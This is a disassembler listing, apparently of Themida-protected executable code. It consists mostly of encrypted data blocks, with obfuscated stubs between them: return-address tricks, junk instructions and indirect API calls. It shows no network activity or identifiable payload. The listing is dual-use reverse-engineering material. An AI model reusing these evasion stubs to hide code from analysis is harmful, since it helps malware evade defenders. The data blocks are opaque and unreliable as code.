dd 8797AA56h, 0DEEE1D38h, 3AE6D501h, 0F68E51ECh, 0DF0EAD29h
dd 9F37CD8Dh, 80EECA1Ch, 6D05B81Bh, 25601F25h, 0C79457E5h
dd 0E1DCF70Fh, 1645DD35h, 78BE6A92h, 58060496h, 0FD03CBA1h
dd 58060517h, 82D4032Bh, 0D49ACBC0h, 3B64F8D9h, 5C000000h
dd 0CA76498Fh, 175C4372h, 0E863494Fh, 0E1F051F1h, 0BBEA12D8h
dd 0F1E026B0h, 7C8430C8h, 15753CA5h, 2453255Dh, 0F2E3FAE0h
dd 12E93F51h, 3ADB040Eh, 398BBA3Ah, 0C8F3E319h, 0C412BD76h
dd 0BFD8AFF7h, 0D3377825h, 0CAD6406Fh, 8EEF55Ch, 61678003h
dd 38A4EEC5h, 9830C804h, 6C4F8350h, 0CD31373Dh, 0DD57E926h
dd 198763B5h, 0DCDDF8C5h, 0C287056h, 30A78458h, 0F189E18Dh
dd 72491159h, 6F1E11CDh, 4473A1h, 5DFF5D41h, 0DD23CFF7h
dd 5E203CFBh, 2DA6E406h, 0F2BF9D38h, 72585E26h, 865E2049h
dd 4AC92F5Eh, 0E0000000h, 0B5FDA913h, 0F1E7B9AFh, 806ED51h
dd 0D7E2F3DAh, 27CD32Bh, 649E3B3h, 28D28818h, 0E3B0F890h
dd 9298C7F2h, 0F8FE0DC5h, 51F27912h, 1E66FE26h, 2736347h
dd 4776E02Ah, 365937h, 0C9910000h, 0F2E6DDC3h, 9AC9F151h
dd 0FDA913B3h, 0E7BDAFB5h, 0CE951F1h, 0F24AF6C7h, 0D53B125Ah
dd 8AC19410h, 7C3D94E1h, 587A474Dh, 4441B63h, 91CEE5BEh
dd 6A233362h, 14711h, 5A7C4900h, 0EA9627ACh, 0E4CBFA92h
dd 0B4FCAA13h, 0E800E6ECh, 0EC1451F1h, 0CAB3D6BDh, 0AFF7C412h
dd 33191FE7h, 4751F1E8h, 0E7B3991Fh, 3F4551F1h, 51F1E859h
dd 0A27F456Dh, 87DF8B30h, 194298EFh, 0ACCC1CA3h, 540D967Dh
dd 0EDE5C4B1h, 295A01h, 17710000h, 2318E4Ah, 0B6DF8FF8h
dd 0E82B1117h, 0F0BD51F1h, 0EAF24E2h, 9BC34776h, 126E1772h
dd 10D2FBC0h, 3B1169h, 13680000h, 17D3FCAAh, 0E863494Fh
dd 0E7F051F1h, 323810D6h, 51F1E84Ch, 71A03860h, 0E87F656Bh
dd 42A851F1h, 784F1719h, 0C65BB69Ah, 50376636h, 753CC012h
dd 0B617F6EFh, 10CAF38Bh, 42C41269h, 67902895h, 0AB13CAB3h
dd 540DD2FBh, 0EDE5C4B1h, 215A01h, 13710000h, 17D2FBABh
dd 6C51824Fh, 0E813F93Dh, 0FF2751F1h, 126E17D6h, 10D3FCC1h
dd 341169h, 13680000h, 0E6B3FBABh, 0C71FCBF0h, 1117B198h
dd 51F1E82Bh, 239A3954h, 757B438Bh, 51F1E78Fh, 654C7BA3h
dd 50824F17h, 12553C6Bh, 318C47C1h, 6C952D85h, 4A176910h
dd 0F9043388h, 442A30DFh, 5851F1E8h, 0FCE2E830h, 1051F1E7h
dd 5EA450E8h, 51F1E87Bh, 0BA7210E2h, 964FA11Eh, 4DF9C612h
dd 554D6E45h, 0AA263696h, 5768707Bh, 20C3380Fh, 0D33972A4h
dd 0F44B66DDh, 95C427E4h, 6B31E2Bh, 78864D5Ah, 0A93D33A4h
dd 0B35FF7E6h, 1B9EBC5Eh, 0AF450569h, 2E449629h, 51F20F0Bh
dd 26B27FC7h, 68FE6A99h, 98FEECE5h, 0FFFFFE74h, 0E7F7D9AFh
dd 0E14351F1h, 2D51F1E7h, 51F1E948h, 0F5C80BD8h, 553B4149h
dd 6951F1E9h, 367AA941h, 51F1E954h, 0F1E8BEA0h, 0E9280A51h
dd 40AE91F1h, 7A424890h, 4217E6E3h, 40AD21Ah, 1808E31Eh
dd 7A424B32h, 7FD96123h, 464EB8E7h, 0AAB05F79h, 18089DC4h
dd 6C18B0D8h, 6DDBE514h, 107379C1h, 1E1DFCA3h, 9A8C18F6h
dd 0C7B17893h, 2ECB9h, 437C6000h, 0FEBF14F1h, 0B803CFACh
dd 6D4C8966h, 24993E1Bh, 911F99D2h, 48257746h, 1DE3089h
dd 0B996E8D7h, 404C9E1Dh, 52CCB2B8h, 0E5E0580Bh, 8B4A177Eh
dd 0E2F4FF2Eh, 0E83D2329h, 295151F1h, 29C1FADCh, 2D1319E1h
dd 0B051F1E8h, 324FCA96h, 0FECB279h, 0F54DF9C4h, 0B8C42E5Dh
dd 585EA64Ah, 57E8D0F8h, 7086D800h
dd 580BD18Eh, 0B9DA4118h, 0A3280DA7h, 54FC6A74h, 6753350Ch
dd 12D38E0Eh, 7FAE0DC5h, 93DAB179h, 0CC2E5049h, 516869B6h
dd 65C2DE22h, 0A325E01h, 0AA2DFAC2h, 7D5A6713h, 6E79A840h
dd 24015368h, 0F4C109B2h, 0ED8B1AE2h, 8EEDF668h, 0C3F24AF6h
dd 6A191359h, 51BF5E24h, 0E75F65ADh, 0F641ACEh, 0D1D79FE7h
dd 643DCDEBh, 0A2A8D7FFh, 72BA01D5h, 5D8C33A5h, 0A066704Dh
dd 45338A33h, 0A40C2452h, 4C58049Ch, 13EA32DEh, 487124B0h
dd 2329585Eh, 337FB91Dh, 59A1C96Ah, 26A4C582h, 216E3852h
dd 6DD706B5h, 34BF361h, 0EE1DA236h, 61D2E2E8h, 0E1B8704Ch
dd 0EB7F3DA2h, 0AA62B96Ch, 278977F4h, 4C74F827h, 1C9F3704h
dd 22E9EDCAh, 6FA7361Ch, 8A224A70h, 0C0B698DEh, 7840706Eh
dd 6FC08C72h, 4978A070h, 0B6ED13Fh, 0E829D87Ah, 4DF9C214h
dd 7DC55DF5h, 66421777h, 4BF71F76h, 0E52DD13Fh, 7C6D9CDFh
dd 64426A7Ch, 1A12F04Ah, 720F1D07h, 0DA000001h, 8E6BBD02h
dd 49267845h, 3E03289h, 0B895E7D2h, 134C9E1Fh, 0F1CC0BA5h
dd 0AA0FC29Fh, 625D7B58h, 18A33310h, 2C32BAC6h, 580B5446h
dd 13F85F5Ah, 2C8D44A5h, 0DAE02880h, 51F1E7F4h, 48E008h
dd 15E46138h, 45CACC5h, 5E3191D5h, 113957E8h, 43EB5965h
dd 0AE92F5FBh, 0C3A05DFEh, 0A4FCA813h, 0AE8A2E0Ch, 0F1DB3890h
dd 104E3h, 2B944800h, 0E6D7FCD9h, 0A01BB794h, 5564714Eh
dd 0CB12603h, 793781BAh, 300D5F5Eh, 0E9C618A1h, 0A17ED0EFh
dd 28348635h, 54B49AA0h, 0CDC8580Bh, 0F9A51366h, 0B51CE9B1h
dd 1991D504h, 4157E84Ch, 76606D19h, 0C016F345h, 0D5434FFBh
dd 0BFDBE129h, 2F5E01ADh, 0F5E8BF07h, 2C2ACEA9h, 9A7787B6h
dd 6F3C8439h, 14245366h, 886E743Ch, 9C5E24E3h, 0E3D8BEC4h
dd 0C4EC5E24h, 0E0F2FD2Ch, 29AC89DBh, 5B7B4890h, 0F9C41360h
dd 0B6C6F54Dh, 6DBFFED9h, 4CB74790h, 0F788254Fh, 118C7278h
dd 78A05E24h, 330048E0h, 18701C9Fh, 0D5FCD9E9h, 23B592E4h
dd 1200E6ECh, 10835E24h, 9150F1A1h, 29AD8A50h, 1062FA92h
dd 0C618A333h, 0B61CE8E9h, 0E6AB0D46h, 0C961ECC1h, 0E52DC51Dh
dd 5400B918h, 0E1BDCDFCh, 0BB83CB73h, 0A8D7E4EEh, 1A4F4864h
dd 0E490B864h, 6ABCFFD7h, 0C8Ch, 5EE4E300h, 4B39AA87h
dd 0A7D68A76h, 0F5CA12C0h, 219A3C49h, 4F706875h, 7E3B96A3h
dd 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h
dd 126833B8h, 54000056h, 8324048Fh, 56042404h, 0C681E689h
dd 4, 4EE81h, 34870000h, 14895C24h, 6506824h, 34890000h
dd 6DBE5624h, 0BA695B0Bh, 20BE78D1h, 815EF231h, 0CC100AEAh
dd 762B6843h, 24890000h, 24048124h, 4, 2C81525Eh, 0E8223424h
dd 8468F47h, 34084681h, 8B47E822h, 89512434h, 4C181E1h
dd 81000000h, 4C1h, 240C8700h, 2434FF5Ch, 4C4815Ah, 0E9000000h
dd 0FFFB0F3Bh, 0EB02EB2Bh, 18E944FBh
db 6Ch
; ---------------------------------------------------------------------------
loc_59FACD: ; CODE XREF: sub_59EE86+E8j
mov eax, 6196E5Fh
add eax, ebp
loc_59FAD4: ; CODE XREF: sub_59EE86:loc_59EF69j
mov eax, ebx
lea ecx, [ebp+6196FF3h]
push 0
push esi
call sub_59FAE7
and [esi-3Dh], bl
sub_59EE86 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_59FAE7 proc near ; CODE XREF: sub_59EE86+C59p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_59FAE7 endp
; ---------------------------------------------------------------------------
push esi
fsubp st(2), st
xchg eax, esi
fidiv dword ptr [ecx+edx*2-75h]
fstp dword ptr [eax-77h]
test [ebp+5], ecx
adc al, 6
mov [ebp+6143229h], ecx
push 0
push edx
call sub_59FB18
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59FB18 proc near ; CODE XREF: Themida_:0059FB10p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_59FB18 endp
; ---------------------------------------------------------------------------
dd 0B589C7EFh, 61416B5h, 64D85C7h, 68A80614h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 0D4DC7C3h, 0DA282172h, 5E8h, 8DAE5E00h, 9D8B1306h, 6141039h
dd 7185C75Fh, 61426h, 0B000000h, 140909B5h, 49B5FF06h
dd 0E906140Dh, 8, 0E4DCE8Ah, 216A6840h, 236195FFh, 6A0614h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 60914EC3h, 76675CC0h, 0E952F862h, 0Ah, 0EF22E261h, 0B75B66C8h
dd 6A5B2651h, 6995FF00h, 8B061411h, 0DF49EBC0h, 3507BB53h
dd 475AC8A3h, 2026003h, 0BF0FA95Ch, 2B017321h, 0EC4617C5h
dd 2B736375h, 8391435Fh, 6A9457BBh, 6548AD95h, 0F9F901B1h
dd 0ED7F1A41h, 9B03F0F2h, 63739BDBh, 625F44D1h, 28D3BF71h
dd 0AED0ACACh, 5F292FAFh, 13CE9h, 4Fh dup(0)
dd 79BD8300h, 106141Dh, 489840Fh, 840F0000h, 0Fh, 0AE9h
dd 7921C500h, 976B14A8h, 0C6D9DAEDh, 141A5985h, 0E9604306h
dd 9, 0FD6126A7h, 450C55DBh, 0CE8F0h, 0BF3E0000h, 0AE858BC6h
dd 3A5E444Ah, 59F82AEAh, 64C46861h, 6E9C85Eh, 27000000h
dd 0FB3EBBBCh, 24048129h, 24476C31h, 0D1B5FFFCh, 0F06141Ah
dd 789h, 18B0F00h, 0F5000000h, 80DB858Dh, 0FFF80617h, 138C0FD0h
dd 60000000h, 0AE8F5h, 13630000h, 0EA76FF86h, 29768C7Eh
dd 85896159h, 6141A85h, 5985C6F5h, 5006141Ah, 4E8F5h, 0AD560000h
dd 820FA8ADh, 0Eh, 61605250h, 5250310Fh, 585A310Fh, 6050585Ah
dd 1B9581BBh, 0F87BB4Ch, 8B615E1Eh, 60042444h, 60DF8B66h
dd 0BF669BB3h, 6161BABCh, 0E960008Bh, 0Eh, 92327535h, 46F76BB4h
dd 4C80C1CCh, 89619FA9h, 60042444h, 84A84DBEh, 61CF8A67h
dd 81666058h, 0E93512C6h, 7, 0FA4F9659h, 61871517h, 1AD1B5FFh
dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 183FCEC3h, 858D0DF2h, 61780DBh, 0FE9h, 839E2600h
dd 33683F5Eh, 0C973E9A1h, 50C58AB8h, 870FD0FFh, 0Ch, 7E9h
dd 37F2EA00h, 9D4F4F91h, 3C98589h, 68F50614h, 0CC5B6369h
dd 0F17B660h, 1682h, 11E900h, 412C0000h, 6491CA57h, 0AE2369A3h
dd 4CE839B8h, 611F4411h, 46243481h, 6A3CD4CBh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 56D5C353h, 1A54A054h, 0E91D6F94h, 10h, 64EA1419h, 5FCEAC82h
dd 0F7EF570Ch, 88C1849Ah, 1AD1B5FFh, 60600614h, 61D6BF0Fh
dd 2870Fh, 0FA8B0000h, 0DB858D61h, 0F8061780h, 860FD0FFh
dd 15h, 0F8A0Fh, 0AE90000h, 54000000h, 8E257A9h, 667C2C59h
dd 958589C7h, 0F06141Bh, 78Ah, 18B0F00h, 0FC000000h, 1A5985C6h
dd 60500614h, 0E932C580h, 0Eh, 0A30378B9h, 0A744D9FEh
dd 3485C9B6h, 0E8615C25h, 4, 979CDC56h, 12E860h, 214A0000h
dd 0A73BE290h, 265962F7h, 72D2F3h, 8819F784h, 8D0Fh, 0B95B0000h
dd 410094D3h, 810F5061h, 16h, 11E9h, 838CA100h, 1BA6E3C4h
dd 0CFC0696Eh, 7F2C02B2h, 448BFBCFh, 880F0424h, 0Eh, 61605250h
dd 5250310Fh, 585A310Fh, 8B585Ah, 128E0Fh, 52500000h, 5E9h
dd 16D6C600h, 310FF928h, 585A6160h, 4244489h, 615FBB60h
dd 8B662172h, 6A5861F8h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0E6E8C355h, 0F987A1A9h
dd 0AD7AB257h, 1145B5FFh, 8DF90614h, 143B1385h, 9E906h
dd 6CF50000h, 833A0180h, 0FF401FDAh, 820FF9D0h, 1, 0A98589F5h
dd 0F9061430h, 16EE9h, 0CE900h, 48BD0000h, 0D8AE0395h
dd 4A34B445h, 6050D402h, 0ABD4B866h, 242C8961h, 0C820Fh
dd 840F0000h, 6, 880Fh, 0EC8B0000h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 0C7C35747h, 6016051Ah, 0FCC48361h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9BC35242h
dd 0E9FCF3BAh, 6, 3906036Dh, 0F960693Eh, 0E8h, 0EA815A00h
dd 619752Eh, 0FC45C7h, 83000000h, 141D79BAh, 840F0106h
dd 98h, 6A006A52h, 8592FF0Fh, 5A06141Ah, 70468289h, 9A8D0619h
dd 619704Ah, 2803C752h, 53000001h, 0C992FF50h, 5A061403h
dd 4A9A8D52h, 53061970h, 7046B2FFh, 92FF0619h, 61430A9h
dd 74C00B5Ah, 4A9A8D50h, 8D061970h, 0C933247Bh, 104F981h
dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h, 0C752B39h
dd 3231BA8Dh, 4D8B0614h, 32A4F30Ch, 0FF52AAC0h, 828D0875h
dd 6143231h, 9592FF50h, 5A06141Bh, 0A075C00Bh, 1FC45C7h
dd 0EB000000h, 0FC45C707h, 0
; ---------------------------------------------------------------------------
popa
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5A01D3
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A01D3 proc near ; CODE XREF: Themida_:005A01CBp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5A01D3 endp
; ---------------------------------------------------------------------------
mov cl, 0ABh
sbb edi, ds:48E8C592h
setalc
push eax
jmp loc_5A01F7
; ---------------------------------------------------------------------------
dw 31E1h
; ---------------------------------------------------------------------------
adc al, 2 ; CODE XREF: Themida_:005A020Bj
scasb
loc_5A01F7: ; CODE XREF: Themida_:005A01EDj
mov edx, edx
call near ptr loc_5A020B+1
dec edi
cmpsd
sbb edi, [ecx-2Eh]
push eax
and eax, 0D6C8BFA0h
shr byte ptr [eax], 1
loc_5A020B: ; CODE XREF: Themida_:005A01F9p
jecxz short near ptr loc_5A01F4+1
pop es
; ---------------------------------------------------------------------------
dw 0
dd 4657ED00h, 624C432Ch, 24D68166h, 0E85A5E1Ch, 7, 0A68EBD55h
dd 0FCF08318h, 8C28158h, 0E8000066h, 0Fh, 98FF4887h, 7F94EAE4h
dd 61AC4BA7h, 0F99964Bh, 687h, 8F0F00h, 5E000000h, 872F5BBBh
dd 0E2C3811Eh, 66E178E9h, 0A8BF38Bh, 6E9h, 0FCB21900h
dd 816A2CFFh, 2A51CBE9h, 10E95Ch, 0E3A60000h, 0F81CCB48h
dd 707840FEh, 80FB67C7h, 0E98126C6h, 574BAB11h, 7E960h
dd 35120000h, 72F01BC0h, 617FB1E6h, 8549C181h, 0E9607088h
dd 0Dh, 8D5C4687h, 0A4112CDCh, 9CCBC83Ah, 61D08B2Bh, 0FB8B6651h
dd 0EA83028Fh, 8830F01h, 0F000000h, 287h, 4A616000h, 8A0F4A4Ah
dd 4, 5EC58A53h, 1EB81h, 850F0000h, 1Ch, 0B8E0Fh, 8B0F0000h
dd 5, 38F68166h, 14E983h, 4CA80000h, 43F36D51h, 0FFFF55E9h
dd 0AC3406FFh, 0B160B98h, 8D8D7FE4h, 61977E9h, 2D69958Bh
dd 8D890614h, 6143229h, 0CA96ABB8h, 0DE87Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5A0332: ; DATA XREF: Themida_:0054BCF0o
dec esi
dec esp
aas
mov dh, 0D1h
rcl dword ptr [ebx-4Bh], 0C9h
sbb dh, [edi+0Eh]
stosb
jmp loc_5A0352
; ---------------------------------------------------------------------------
dd 14020A3Ch, 0ABE67AC5h, 99C95256h
db 54h, 0CDh
; ---------------------------------------------------------------------------
loc_5A0352: ; CODE XREF: Themida_:005A033Fj
pop ebx
mov dword ptr [ebp+614064Dh], 66F0h
or [ebp+6143111h], ebx
mov dword ptr [ebp+6142671h], 0
push 0
push ecx
call sub_5A0378
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A0378 proc near ; CODE XREF: Themida_:005A0370p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5A0378 endp
; ---------------------------------------------------------------------------
dd 85CFA91Ch, 663D95FAh, 0F88BD08Bh, 0C4DB5FFh, 10E90614h
dd 94000000h, 0C67742EEh, 0EF143C73h, 60D799CAh, 0FF68F8D6h
dd 14236195h, 7E906h, 763A0000h, 0E606E6FFh, 0FF006AEFh
dd 14116995h, 0EBC08B06h, 25D444Ah, 5169B1DDh, 0D2AA53E0h
dd 0A095BFA3h, 6E177D8Fh, 0E12E6BEDh, 0A933D047h, 17478B4h
dd 2C0919A6h, 582CB54Ch, 0FBE770h, 0F87BC5F7h, 5B91AB57h
dd 0FA2B5098h, 8BD495FBh, 0C2F452C3h, 67242D03h, 0B134B14Eh
dd 0E97BDC22h, 34h, 663FC6A3h, 0Ch dup(0)
; ---------------------------------------------------------------------------
jmp loc_5A0974
; ---------------------------------------------------------------------------
db 88h, 54h, 6Bh
dd 26973C19h, 0E0DBF7D4h, 9524B18Eh, 4C716643h, 0B9F7C1FAh
dd 704D9F1Eh, 29065861h, 0E1BE10AFh, 6874C6F5h, 5FF4DAE0h
dd 0D08580Bh, 0F7C412A6h, 0FBE1E7AFh, 0F51F1E7h, 0E84B3137h
dd 375F51F1h, 0F906709Fh, 0B08DDFDEh, 0DCE99526h, 250B11FAh
dd 3951F1E8h, 0C0CD7911h, 88FEAA13h, 8CE6624h, 9DA36BB3h
dd 51F1E7B7h, 0D5EAEECBh, 0A39D129h, 4BB1DFAh, 0BC03D5B2h
dd 0EBCE0310h, 0A48EA3Fh, 87D9E6F2h, 0D9DF2CAAh, 51F1E7F3h
dd 9B47DF07h, 0F1E87255h, 5926EE51h, 3F97437Ah, 79CBE10h
dd 0FEEDF15Eh, 65A0h, 0C412B700h, 21054BF7h, 9F51F1E8h
dd 0F2C70AD7h, 0BAD171C3h, 0FEEDF1ABh, 0A53h, 0E7744B00h
dd 1BD008B5h, 12DAC1F0h, 4350FCC1h, 1DE52D90h, 0F1E83117h
dd 558BB451h, 0EFA44F5Ch, 68D20129h, 933F7A5Bh, 0C4704D86h
dd 0F09C1FB7h, 79781A7Eh, 9235FC3h, 0C4A1F3CAh, 7F57A912h
dd 0EBE721B2h, 348C38D0h, 0C5121E05h, 943F4CF8h, 430AE129h
dd 9328AAC7h, 4384E33Ch, 0D438AA14h, 64597EB6h, 1AA13512h
dd 4A71616Eh, 7441179Eh, 58B05C5Dh, 20BBD729h, 0FEED9555h
dd 86C9h, 0DEF4C100h, 774890DDh, 5D4473CBh, 4CF8C512h
dd 4A216D44h, 2C3994C0h, 0DBE0F2FDh, 3555B92Fh, 93E5D8FFh
dd 0F09C21B6h, 7FC7F2E3h, 0F9AD18A8h, 46939715h, 95FF2E8Bh
dd 35AEEC0Eh, 0FEEDA040h, 6EDEh, 82FFD600h, 3E5263BBh
dd 8930A5F2h, 4017735Ah, 0D37DE0E4h, 0B3BEED22h, 0B45CDA24h
dd 715A901Dh, 326F5BBh, 6F079FC6h, 9D22B6C3h, 6E4F8855h
dd 0B136AC2h, 6DDAD3h, 4074DE0Dh, 0D1063E5Ch, 12E19AECh
dd 3CA83DC1h, 7D299443h, 0C54DCE25h, 1EF53DD5h, 0B54816FBh
dd 74DE0DD6h, 0F2914B2Eh, 97B3C751h, 0ED4869FCh, 195FEh
dd 17AC0000h, 6A4F824Fh, 0F1E7FEE4h, 0BBEA1251h, 0ED9922B0h
dd 0FDBE18E5h, 28914451h, 80566190h, 51828F3Bh, 25B3C06Ch
dd 0F6E1EE9Ah, 0DC31BC7h, 7308E9A9h, 3788501Dh, 0B204338Bh
dd 41946190h, 943E4978h, 0B586572h, 0F149F5C8h, 0BD2B0759h
dd 0ACC3C911h, 2257E502h, 173E563Bh, 983022B0h, 0C4F7DFECh
dd 9629AF7Ch, 8E4592EAh, 0FC2B832Fh, 0F4C70FECh, 0A694048h
dd 0BA2CE796h, 47F3C60Fh, 0E42857EFh, 58061D00h, 2DDC7E62h
dd 1ADC5956h, 0D605FBE5h, 5EB00BCBh, 20B15581h, 0B7CCFADAh
dd 0A23AA3FAh, 5A069EF6h, 8632894Dh, 5A92B014h, 2AF73F7Ch
dd 0D2E211AEh, 0D9B4D194h, 10B2DF8h, 58250000h, 2A114079h
dd 0B1F9A513h, 0E50D74ABh, 0F7DBA857h, 2A1195C4h, 0FF3F1DE2h
dd 0D9F845FCh, 44DC34E0h, 7DB99098h, 82C9FCB5h, 27AFBAE9h
dd 71654294h, 0BF969E4Ah, 0ABD1B330h, 0FB0635D4h, 0C234E0DBh
dd 0CE083C5Eh, 701C9D38h, 0F02E8018h, 0F8D95D75h, 3489h
dd 0A613A000h, 0E4AAB0F8h, 36D1F1E7h, 999F6E69h, 0D1F1E7B3h
dd 0D8079FC7h, 3A802C54h, 0D1F1E854h, 5F96B4D8h, 0FE044CF2h
dd 51F1E838h, 0B492E40Ch, 81h, 0F9A5130Bh, 10F0ABB1h, 4F1C57E5h
dd 3F8D7587h, 80D7864h, 3D6CC470h, 0D8E591B9h, 5986FEFEh
dd 59F8DB5Bh, 44926FC1h, 74622F77h, 14439B47h, 208364AAh
dd 0FBDF5806h, 8A31A55Fh, 42EE5C38h, 0B7C5F4FAh, 2D95DFCh
dd 0C3E21101h, 4125A086h, 17748BFEh, 1A9F327Fh, 63E7166Eh
dd 252BF33Bh, 5E1F7B3Fh, 6B20BCCh, 91C0E8AEh, 0FFBC1A27h
dd 3E5CFE53h, 0ADF59907h, 161278A7h, 94E60E64h, 0F9A513DBh
dd 7F7CABB1h, 0EA1257E8h, 0BA01D5A2h, 1D87B60Eh, 0A3F5C610h
dd 0FFAB10C6h, 0F01A66B9h, 42006437h, 0FCDA2CAAh, 23BB13BFh
dd 0D9E2F4D1h, 7A58252Dh, 878D9541h, 0B8321AA1h, 0C6F58DB5h
dd 579F1ABBh, 2774498Ah, 9610DB0h, 6F6370DAh, 2A7FF78Dh
dd 0CC645F44h, 0F7C21320h, 3654F64Bh, 0DE7C1EB3h, 0C30BB026h
dd 0F60FF5FBh, 4792B831h, 12C8A478h, 0A23512D8h, 7F176F1Bh
dd 0B8BB5F28h, 2FD2F7h, 43C313F0h, 777F2B8Eh, 31F58B71h
dd 0DF779FB8h, 0F5AB9197h, 97BFB831h, 164553FFh, 9C000000h
dd 2F8C4A17h, 5C617683h, 69C058B0h, 0FB589679h, 134C7B51h
dd 0F5CA12ACh, 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h
dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 0AC6833B8h
dd 8900001Dh, 81682434h, 89000023h, 89572404h, 4C781E7h
dd 83000000h, 3C8704EFh, 34895C24h, 0B8505124h, 20C45BF4h
dd 0D07E8C1h, 2553669Bh, 0DD8F748h, 478B72ACh, 6A048805h
dd 58C18926h, 5459C889h, 8124348Bh, 4C4h, 5A505200h, 5A085689h
dd 5024348Bh, 405E089h, 5000000h, 4, 5C240487h, 582434FFh
dd 4C481h, 90E90000h, 1FFFFB00h, 8628DD63h
; ---------------------------------------------------------------------------
loc_5A0974: ; CODE XREF: Themida_:005A0450j
mov eax, 6197D17h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
align 2
dw 0D32Dh
dd 6097AE43h, 25DC5F60h, 435AAC32h, 0B4A8157Eh, 5196CE26h
dd 0D445A658h, 0B3B3D874h, 5A8C4D5Fh, 51E8E834h, 13F10066h
dd 24635A12h, 0F4080F77h, 0BE8D8D5Ah, 6A06197Eh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 8AA5C351h, 0E68166C5h, 8D8920F0h, 6143229h, 2DDBD8Bh
dd 85C70614h, 614064Dh, 6AE4h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0A2C35141h, 9CC33D52h, 85C70863h
dd 6142671h, 0
; ---------------------------------------------------------------------------
mov [ebp+6140D79h], esi
push dword ptr [ebp+6140591h]
push 0
push ebp
call sub_5A0A33
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A0A33 proc near ; CODE XREF: Themida_:005A0A2Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5A0A33 endp
; ---------------------------------------------------------------------------
dec edx
fisttp qword ptr [ecx]
enter 39F0h, 70h
push ds
sub [ebp+6141155h], ecx
jmp loc_5A0A69
; ---------------------------------------------------------------------------
dw 1B7Bh
dd 0CA63D6EDh, 0E01F3AB5h, 29921951h, 0F4D90E84h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_5A0A69: ; CODE XREF: Themida_:005A0A51j
call dword ptr [ebp+6142361h]
push 0
push edi
call sub_5A0A7A
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A0A7A proc near ; CODE XREF: Themida_:005A0A72p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5A0A7A endp
; ---------------------------------------------------------------------------
push ebx
sbb [edx+edi*2], edi
pop ss
xchg eax, ebp
mov ebx, [ebp+6141925h]
push 0
call dword ptr [ebp+6141169h]
mov eax, eax
jmp short loc_5A0B21
; ---------------------------------------------------------------------------
popa
mov byte ptr ds:0FF99221Ch, 0E3h
xor esi, [edx]
xor [esi-0Bh], dh
push es
retf
; ---------------------------------------------------------------------------
db 0A2h, 0CDh, 6Bh
dd 0C29A6D4Eh, 159763B9h, 3F01FF07h, 7F151F15h, 4A80CF7Eh
dd 0A0D95206h, 0F1D59723h, 0F34E59FAh, 4877047Ah, 0CA72ACFh
dd 482A763Fh, 56E02E88h, 0F41DB1A9h, 5B7B5E67h, 99A0EF4Ah
dd 5BC25CEDh, 339884D3h, 74A0B4D1h, 0A9443BC9h, 0E018BD67h
dd 66A36B90h, 3F8653FCh, 0EE9E0B00h, 8A440664h, 0D017DA9h
dd 153E4D7Eh, 764FC208h
db 0BAh
; ---------------------------------------------------------------------------
loc_5A0B21: ; CODE XREF: Themida_:005A0AA0j
jmp loc_5A0D8C
; ---------------------------------------------------------------------------
pusha
mov cx, ds
test cl, 4
jz loc_5A0B68
push 1
push dword ptr [ebp+6141145h]
lea eax, [ebp+61780DBh]
call eax
mov [ebp+6140CBDh], eax
mov edi, esi
shr edi, 0Ch
push 20060000h
push 0
push 2
push edi
push 1000Dh
call dword ptr [ebp+6140CBDh]
jmp loc_5A0B9A
; ---------------------------------------------------------------------------
loc_5A0B68: ; CODE XREF: Themida_:005A0B2Dj
mov byte ptr [ebp+6141A59h], 56h
push 0A9C530DFh
push dword ptr [ebp+6141AD1h]
lea eax, [ebp+61780DBh]
call eax
mov [ebp+6142C1Dh], eax
lea eax, [ebp+6140101h]
push eax
push 40h
push 5
push esi
call dword ptr [ebp+6142C1Dh]
loc_5A0B9A: ; CODE XREF: Themida_:005A0B63j
popa
retn
; ---------------------------------------------------------------------------
dd 3 dup(0)
; ---------------------------------------------------------------------------
push edx
mov edx, esp
pusha
mov eax, [edx+8]
mov [ebp+6197FC5h], eax
mov eax, [edx+0Ch]
mov [ebp+6197FBDh], eax
mov eax, [edx+10h]
mov [ebp+6197FC1h], eax
lea esi, [ebp+6197FFBh]
lea eax, dword_5B8EA1[ebp]
call eax
popa
pop edx
retn 0Ch
